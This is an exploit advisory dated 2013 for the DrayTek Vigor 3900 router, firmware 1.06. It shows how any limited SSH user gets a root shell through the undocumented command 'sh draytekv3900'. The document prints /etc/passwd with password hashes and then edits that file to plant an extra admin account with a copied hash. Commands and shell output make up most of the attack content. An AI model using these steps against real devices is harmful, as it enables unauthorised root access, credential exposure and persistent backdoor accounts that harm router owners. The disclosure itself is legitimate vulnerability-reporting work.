Draytek Vigor 3900 1.06 – Local Privilege Escalation
# Exploit Title: Previlege escalation # Date: 19/3/2013 # Exploit Author: Mohammad abou hayt # Vendor Homepage: http://www.draytek.com.tw/index.php?option=com_k2&view=item&layout=item&id=2627&Itemid=593&lang=en # Software Link: N/A # Version: Vigor 3900 -Hardware V2 - firmware latest 1.06 ########################Privilege escalation for draytek vigor 3900##################### ########################Affected device Description:##################################### Vigor 3900 Router Firewall : High Performance Multi-WAN VPN Appliance The Vigor 3900 is a high-performance quad-Gigabit WAN router for high-performance applications including remote access, firewalling, load-balancing and failover. Its WAN throughput runs at up to 1Gb/s, adequate for the most demanding SME applications. The WAN ports on the Vigor 3900 can provide load balancing or WAN failover. Based on a new DrayTek OS platform, the Vigor 3900 combines high performance and capacity with DrayTek's traditional ease of use and comprehensive features set. ########For multi-tenant or departmental flexibility, the Vigor3900 will support multiple LAN IP subnets, together with VLAN capabilities and user management providing access to WAN resources only to the appropriate users or departments, as well as maintaining infrastructure effciency. ############################Advisory:################################################### #The finding started when creating a normal limited user or any user to access the firewall dashboard. ##Having the port 22 open by default, try to login the firewall using putty with this limited user credentials login as: test test@192.168.0.1 password: ******************************************** * * * Welcome V3900 * * * ******************************************** Welcome it is Thu Mar 28 18:58:31 UTC 2013 Vigor3900> ###vigor 3900 is built in BusyBox : Trying to shell the device by using sh draytekv3900 will gain root shell without asking for credintial . ####And what I have noticed that any user you create from the dashboard will be able to access the root shell whereas . Vigor3900> sh draytekv3900 BusyBox v1.4.2 (2013-02-25 23:52:19 CST) Built-in shell (ash) Enter 'help' for a list of built-in commands. #####Printing the cat /etc/passwd ~ # cat /etc/passwd root:!:0:0:root:/tmp:/bin/ash nobody:*:65534:65534:nobody:/var:/bin/false admin:$1$1xUkNSXm$SFvMVQCzcM3LmK9mrJmux0:500:500:admin:/tmp:/usr/bin/clish operator:$1$.FTn64sr$3tKZ2599RrSU9TA.C/vKd0:501:501:operator:/usr:/bin/clish quagga:x:51:51:quagga:/tmp/.quagga:/bin/false test:$1$qHVw8Ap.BnYm7jd5VYqBSo0:502:502:Linux User,,,:/tmp:/usr/bin/clish #######Adding another admin (admin1) ~ # vi /etc/passwd root:!:0:0:root:/tmp:/bin/ash nobody:*:65534:65534:nobody:/var:/bin/false admin:$1$1xUkNSXm$SFvMVQCzcM3LmK9mrJmux0:500:500:admin:/tmp:/usr/bin/clish operator:$1$.FTn64sr$3tKZ2599RrSU9TA.C/vKd0:501:501:operator:/usr:/bin/clish quagga:x:51:51:quagga:/tmp/.quagga:/bin/false admin1:$1$1xUkNSXm$SFvMVQCzcM3LmK9mrJmux0:500:500:admin:/tmp:/usr/bin/clish test:$1$qHVw8Ap.BnYm7jd5VYqBSo0:502:502:Linux User,,,:/tmp:/usr/bin/clish ~:wq ____________________________________________________________ Discovered and written by: Mohammad Abou Hayt __________________________________________________ |